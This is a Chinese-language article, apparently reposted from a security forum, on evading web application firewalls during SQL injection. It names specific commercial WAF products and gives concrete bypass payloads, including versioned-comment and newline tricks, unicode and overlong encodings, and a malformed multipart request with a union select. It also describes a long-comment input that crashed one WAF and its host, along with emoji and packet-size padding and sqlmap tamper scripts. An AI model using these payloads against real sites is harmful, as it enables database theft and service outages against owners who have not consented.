原帖地址:https://xianzhi.aliyun.com/forum/read/349.htmlphp
去年到如今就一直有人但願我出一篇關於waf繞過的文章,我以爲這種老生常 談的話題也沒什麼可寫的。html
不少人一遇到waf就發懵,不知如何是好,能搜到的各 種姿式也是然並卵。mysql
可是積累姿式的過程也是迭代的,那麼就有了此文,用來總 結一些學習和培養突破waf的思想。web
可能總結的並不全,但目的並非講那些網上 搜來一大把的東西,So…並不會告訴你們現有的姿式,sql
而是突破Waf Bypass思惟定勢達到獨立去挖掘waf的設計缺陷和如何實現自動化的Waf Bypass(這裏只講主流 waf的黑盒測試)shell
當咱們遇到一個waf時,要肯定是什麼類型的?先來看看主流的這些waf,狗、盾、神、鎖、寶、衛士等等。。。(在測試時不要只在官網測試,由於存在版本差別致使規則庫並不一致)數據庫
在配置雲waf時(一般是CDN包含的waf),DNS須要解析到CDN的ip上去,在請求uri時,數據包就會先通過雲waf進行檢測,若是經過再將數據包流給主機。apache
在主機上預先安裝了這種防禦軟件,可用於掃描和保護主機(廢話),和監聽web端口的流量是否有惡意的,因此這種從功能上講較爲全面。這裏再插一嘴,mod_security、ngx-lua-waf這類開源waf雖然看起來不錯,可是有個弱點就是升級的成本會高一些。json
使用專門硬件防禦設備的方式,當向主機請求時,會先將流量通過此設備進行流量清洗和攔截,若是經過再將數據包流給主機。後端
再來講明下某些潛規則(關係):
百度雲加速免費版節點基於CloudFlare
安全寶和百度雲加速規則庫類似
創宇雲安全和騰訊雲安全規則庫類似
騰訊雲安全和門神規則庫類似
硬件waf自身漏洞每每一大堆
當Rule類似時,會致使一個問題,就好比和雙胞胎結婚曉得吧?嗯。
咱們還須要把各類特性都記牢,在運用時加以變化會頗有效果。
註釋: # -- -- - --+ // /**/ /*letmetest*/ ;
利用註釋簡單繞過雲鎖的一個案例:
攔截的,但/**/ > 1個就能夠繞過了,也就是/**//**/以上均可以。
科學記數法:
空白字符:
SQLite3 0A 0D 0C 09 20 MySQL5 09 0A 0B 0C 0D A0 20 PosgresSQL 0A 0D 0C 09 20 Oracle 11g 00 0A 0D 0C 09 20 MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
+號:
-號:
``符號:
~號:
!號:
@`形式`:
點號.1:
單引號雙引號:
括號select(1):
試試union(select)雲盾會不會攔截
花括號:
這裏舉一個雲盾的案例,並附上當時fuzz的過程:
union+select 攔截 select+from 不攔截 select+from+表名 攔截 union(select) 不攔截 因此能夠不用在意這個union了。 union(select user from ddd) 攔截 union(select%0aall) 不攔截 union(select%0aall user from ddd) 攔截 fuzz下select%0aall與字段之間 + 字段與from之間 + from與表名之間 + 表名與末尾圓括號之間可插入的符號。 union(select%0aall{user}from{ddd}) 不攔截。
Bypass Payload:
1 union(select%0aall{x users}from{x ddd}) 1 union(select%0adistinct{x users}from{x ddd}) 1 union(select%0adistinctrow{x users}from{x ddd})
可運用的sql函數&關鍵字:
MySQL: union distinct union distinctrow procedure analyse() updatexml() extracavalue() exp() ceil() atan() sqrt() floor() ceiling() tan() rand() sign() greatest() 字符串截取函數 Mid(version(),1,1) Substr(version(),1,1) Substring(version(),1,1) Lpad(version(),1,1) Rpad(version(),1,1) Left(version(),1) reverse(right(reverse(version()),1) 字符串鏈接函數 concat(version(),'|',user()); concat_ws('|',1,2,3) 字符轉換 Char(49) Hex('a') Unhex(61) 過濾了逗號 (1)limit處的逗號: limit 1 offset 0 (2)字符串截取處的逗號 mid處的逗號: mid(version() from 1 for 1) MSSQL: IS_SRVROLEMEMBER() IS_MEMBER() HAS_DBACCESS() convert() col_name() object_id() is_srvrolemember() is_member() 字符串截取函數 Substring(@@version,1,1) Left(@@version,1) Right(@@version,1) (2)字符串轉換函數 Ascii('a') 這裏的函數能夠在括號之間添加空格的,一些waf過濾不嚴會致使bypass Char('97') exec
Mysql BIGINT數據類型構造溢出型報錯注入: BIGINT Overflow Error Based SQL Injectionhttp://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html
%特性:
asp+iis的環境中,當咱們請求的url中存在單一的百分號%時,iis+asp會將其忽略掉,而沒特殊要求的waf固然是不會的:
修復方式應該就是檢測這種百分號%的周圍是否能拼湊成惡意的關鍵字吧。
%u特性:
iis支持unicode的解析,當咱們請求的url存在unicode字符串的話iis會自動將其轉換,但waf就不必定了:
修復事後:
這個特性還存在另外一個case,就是多個widechar會有可能轉換爲同一個字符。
s%u0065lect->select s%u00f0lect->select
WAF對%u0065會識別出這是e,組合成了select關鍵字,但有可能識別不出%u00f0
其實不止這個,還有不少相似的:
字母a: %u0000 %u0041 %u0061 %u00aa %u00e2 單引號: %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7 空白: %u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0 左括號(: %u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8 右括號): %u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9
畸形協議&請求:
asp/asp.net:
還有asp/asp.net在解析請求的時候,容許application/x-www-form-urlencoded的數據提交方式,無論是GET仍是POST,均可正常接收,過濾GET請求時若是沒有對application/x-www-form-urlencoded提交數據方式進行過濾,就會致使任意注入。
php+Apache:
waf一般會對請求進行嚴格的協議判斷,好比GET、POST等,可是apache解析協議時卻沒有那麼嚴格,當咱們將協議隨便定義時也是能夠的:
PHP解析器在解析multipart請求的時候,它以逗號做爲邊界,只取boundary,而普通解析器接受整個字符串。 所以,若是沒有按正確規範的話,就會出現這麼一個情況:首先填充無害的data,waf將其視爲了一個總體請求,其實還包含着惡意語句。
------,xxxx Content-Disposition: form-data; name="img"; filename="img.gif" GIF89a ------ Content-Disposition: form-data; name="id" 1' union select null,null,flag,null from flag limit 1 offset 1-- - -------- ------,xxxx--
HPP:
HPP是指HTTP參數污染-HTTP Parameter Pollution。當查詢字符串屢次出現同一個key時,根據容器不一樣會獲得不一樣的結果。
假設提交的參數即爲:id=1&id=2&id=3
Asp.net + iis:id=1,2,3 Asp + iis:id=1,2,3 Php + apache:id=3
雙重編碼:
這個要視場景而定,若是肯定一個帶有waf的site存在解碼後注入的漏洞的話,會有效避過waf。
unlencode base64 json binary querystring htmlencode unicode php serialize
咱們在總體測試一個waf時,可測試的點都有哪些?
GET、POST、HEADER那麼咱們專門針對一個waf進行測試的時候就要將這幾個點全測試個遍,header中還包括Cookie、X-Forwarded-For等,每每除了GET之外其餘都是過濾最弱的。
「正則逃逸大法」:或許你們沒據說過這個名詞,由於是我起的。我發現不少waf在進行過濾新姿式的時候非常一根筋,最簡單的比方,過濾了%23%0a卻不過濾%2d%2d%0a?上面提到八成的waf都被%23%0a所繞過。
科學計數法1union、1from?屢次被坑的安全寶&百度雲加速&Imperva:
過濾了union+select+from,那我select+from+union呢?使用Mysql自定義變量的特性就能夠實現,這裏舉一個阿里雲盾的案例:
因爲後面在調用自定義變量的時候須要用到union+select,因此還須要繞過這個點。/*ddd*/union/*ddd*/select 就能夠了。
Bypass Payload:
如何作到經過推理繞過waf?這裏舉一個騰訊雲安全的案例:
繞過思路: 首先看看騰訊雲安全怎麼檢測sql注入的,怎麼匹配關鍵字會被攔截,怎麼匹配不會?
union+select攔截
select+from攔截
union+from不攔截
那麼關鍵的點就是繞過這個select關鍵字
select all
select distinct
select distinctrow
既然這些均可以,再想一想使用這樣的語句怎麼不被檢測到?select與all中間確定不能用普通的/**/這種代替空格,仍是會被視爲是union+select。select all能夠這麼表達/*!12345select all*/,騰訊雲早已識破這種爛大街的招式。嘗試了下/*!*/中間也可使用%0a換行。
/*!12345%0aselect%20all*/仍是會被攔截,這就說明騰訊雲在語法檢測的時候會忽略掉數字後面的%0a換行,雖然屬於union+12342select,但簡單的數字和關鍵字區分識別仍是作獲得。再測試/*!12345select%0aall*/,結果就合乎推理了,根據測試知道騰訊雲安全會忽略掉%0a換行,這就等於union+12345selectall, 不會被檢測到。(忽略掉%0a換行爲了過濾反而能夠用來加以利用進行Bypass)
可能會問,推理的依據並不能真正意義上證實忽略掉了%0a啊?固然要證實下啊,/*!12345%0aselect%0aall*/就被攔截了,說明剛開始檢測到12345%0aselect就再也不檢測後方的了,union+12345select就已經能夠攔截掉了。
還可能會問,既然忽略掉了%0a,那麼/*!select%0aall*/是否是也能夠啊,然而並不行。合理的推理頗有必要。
Bypass Payload:
1' union/*!50000select%0aall*/username from users%23 1' union/*!50000select%0adistinct*/username from users%23 1' union/*!50000select%0adistinctrow*/username from users%23
不是繞不過狗,只是不夠細心:
union+select攔截。 select+from攔截。 union+from不攔截。 fuzz了下/*!50000select*/這個5位數,前兩位數<50 && 第二位!==0 && 後三位數==0便可bypass。(一點細節也不要放過。)
測試環境
Windows Server 2008 + APACHE + PHP + Mysql Bypass Payload: 1' union/*!23000select*/user,password from users%23
這裏證實一個觀點:好姿式不是死的,零零碎碎玩不轉的姿式巧妙的結合一下。因此說一個姿式被攔截不表明就少了一個姿式。
雲鎖版本迭代致使的 & 360主機衛士一直存在的問題:
注意POST那個方向,waf在檢測POST傳輸的數據過程當中,沒有進行URL的檢測,也就是說waf會認爲URL上的任何參數信息都是正常的。既然是POST請求,那就只檢測請求正文咯。(神邏輯)
在標準HTTP處理流程中,只要後端有接收GET形式的查詢字段,即便客戶端用POST傳輸,查詢字符串上知足查詢條件時,是會進行處理的。(沒毛病)
當waf成了宕機的罪魁禍首是什麼樣的?舉一個安全狗的案例:
/*66666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666*/
註釋中包含超長查詢字符串,致使安全狗在識別的過程當中掛掉了,連帶着整個機器Service Unavailable:
再舉一個雲鎖也是由於數據包過長致使繞過的案例:
雲鎖在開始檢測時先判斷包的大小是否爲7250byte如下,n爲填充包內容,設置n大小爲2328時,能夠正常訪問頁面,可是會提示攔截了SQL注入
當數據包超過2329時就能夠成功繞過,2329長度之後的就不檢測了。?
這裏講個有意思的案例,而且是當時影響了安全寶、阿里雲盾的姿式:
有次睡前想到的,emoji圖標!是的,平時作夢並無美女與野獸。當時只是隨便一想,次日問了5up3rc,他說他也想過,但測試並無什麼效果
emoji是一串unicode字集組成,一個emoji圖標占5個字節,mysq也支持emoji的存儲,在mysql下佔四個字節:
既然在查詢的時候%23會忽略掉後面的,那麼Emoji就能夠插入到%23與%0A之間。再加多試了試,成功繞過了,200多個emoji圖標,只能多,但少一個都不行。。。
可能會說,這是由於超⻓查詢致使的繞過吧?並非。
這麼⻓,mysql也是會執行的:
咱們再來測試阿里雲盾:
當縮少emoji數量的話會攔截,想一想仍是再加多些試試:
仍是攔截,那剛纔的沒攔截是怎麼回事?點根菸,逐一進行排查。發現能繞過的緣由和emoji數量無關,而是某個emoji能夠。
就是這個憤怒的emoji,其餘的emoji都不行。惟獨憤怒臉能夠:
將這些emoji進行urlencode看看特徵,到底是什麼緣由?看看哪些emoji插入不會被攔截:
有些emoji進行urlencode後是很⻓的,由於是幾個emoji進行組合的。
將這些payload進行注入進去。
難道只有這個憤怒臉插入進去就能夠繞過?也不能這麼說,我發現能繞過的字符都是ascii碼超過了127的字符:
那爲何憤怒臉的emoji能夠?這裏提到emoji的特徵,常⻅的emoji是四位組成,前三位多數是一致的,把這三位插入payload試試:
能夠實現繞過,再來看看憤怒臉的urlencode:
最後一位是%a0,那麼也就是說徹底能夠忽略掉最後一位,而多數emoji第四位是 ascii 127的字符,會致使waf引擎沒法檢測。
首先總結下sqlmap的各類bypass waf tamper:
apostrophemask.py 用UTF-8全角字符替換單引號字符 apostrophenullencode.py 用非法雙字節unicode字符替換單引號字符 appendnullbyte.py 在payload末尾添加空字符編碼 base64encode.py 對給定的payload所有字符使用Base64編碼 between.py 分別用「NOT BETWEEN 0 AND #」替換大於號「>」,「BETWEEN # AND #」替換等於號「=」 bluecoat.py 在SQL語句以後用有效的隨機空白符替換空格符,隨後用「LIKE」替換等於號「=」 chardoubleencode.py 對給定的payload所有字符使用雙重URL編碼(不處理已經編碼的字符) charencode.py 對給定的payload所有字符使用URL編碼(不處理已經編碼的字符) charunicodeencode.py 對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經編碼的字符) concat2concatws.py 用「CONCAT_WS(MID(CHAR(0), 0, 0), A, B)」替換像「CONCAT(A, B)」的實例 equaltolike.py 用「LIKE」運算符替換所有等於號「=」 greatest.py 用「GREATEST」函數替換大於號「>」 halfversionedmorekeywords.py 在每一個關鍵字以前添加MySQL註釋 ifnull2ifisnull.py 用「IF(ISNULL(A), B, A)」替換像「IFNULL(A, B)」的實例 lowercase.py 用小寫值替換每一個關鍵字字符 modsecurityversioned.py 用註釋包圍完整的查詢 modsecurityzeroversioned.py 用當中帶有數字零的註釋包圍完整的查詢 multiplespaces.py 在SQL關鍵字周圍添加多個空格 nonrecursivereplacement.py 用representations替換預約義SQL關鍵字,適用於過濾器 overlongutf8.py 轉換給定的payload當中的全部字符 percentage.py 在每一個字符以前添加一個百分號 randomcase.py 隨機轉換每一個關鍵字字符的大小寫 randomcomments.py 向SQL關鍵字中插入隨機註釋 securesphere.py 添加通過特殊構造的字符串 sp_password.py 向payload末尾添加「sp_password」 for automatic obfuscation from DBMS logs space2comment.py 用「/**/」替換空格符 space2dash.py 用破折號註釋符「–」其次是一個隨機字符串和一個換行符替換空格符 space2hash.py 用磅註釋符「#」其次是一個隨機字符串和一個換行符替換空格符 space2morehash.py 用磅註釋符「#」其次是一個隨機字符串和一個換行符替換空格符 space2mssqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符 space2mssqlhash.py 用磅註釋符「#」其次是一個換行符替換空格符 space2mysqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符 space2mysqldash.py 用破折號註釋符「–」其次是一個換行符替換空格符 space2plus.py 用加號「+」替換空格符 space2randomblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符 unionalltounion.py 用「UNION SELECT」替換「UNION ALL SELECT」 unmagicquotes.py 用一個多字節組合%bf%27和末尾通用註釋一塊兒替換空格符 varnish.py 添加一個HTTP頭「X-originating-IP」來繞過WAF versionedkeywords.py 用MySQL註釋包圍每一個非函數關鍵字 versionedmorekeywords.py 用MySQL註釋包圍每一個關鍵字 xforwardedfor.py 添加一個僞造的HTTP頭「X-Forwarded-For」來繞過WAF
看起來很全,但有個缺點就是功能單一,靈活程度面對當今的主流waf來講很吃力了。
鑑於多數waf產品是使用Rule進行防禦,那麼這裏也不提什麼高大上的機器學習。就是簡單粗暴的fuzz。
去年黃登提到過創建有毒標示模型,根據這個模型將waf進行訓練。
我把每一個sql關鍵字兩側可插入的點稱之爲「位」,最基本的一句注入語句就有這些位:
假設有n個有毒標示 最基本的注入語句能夠插入五個位 這五個位定義爲a1,a2...a5 那麼結果將會是多少呢?
這個是疊加的,關鍵字不止這些,稍微複雜一點的環境就會須要更多的關鍵字來注入,也就會須要fuzz更多的位。
還須要通過各類編碼事後,根據數據庫的樣式使用相應的特性和配合的函數等等。
當前幾個關鍵字達到繞過效果時,只需繼續fuzz後面幾個位便可。
還有就是傳輸過程當中可測試的點:
由於當咱們在傳輸的過程當中致使的繞過每每是致命的,好比中間件的特性/缺陷,致使waf不能識別或者是在知足特定條件下的欺騙了waf。
一寫起來就根本停不起來,後期決定出一系列waf繞過文,例如文件上傳、webshell防護、權限提高等Waf繞過。xss的bypass就算了,防不勝防…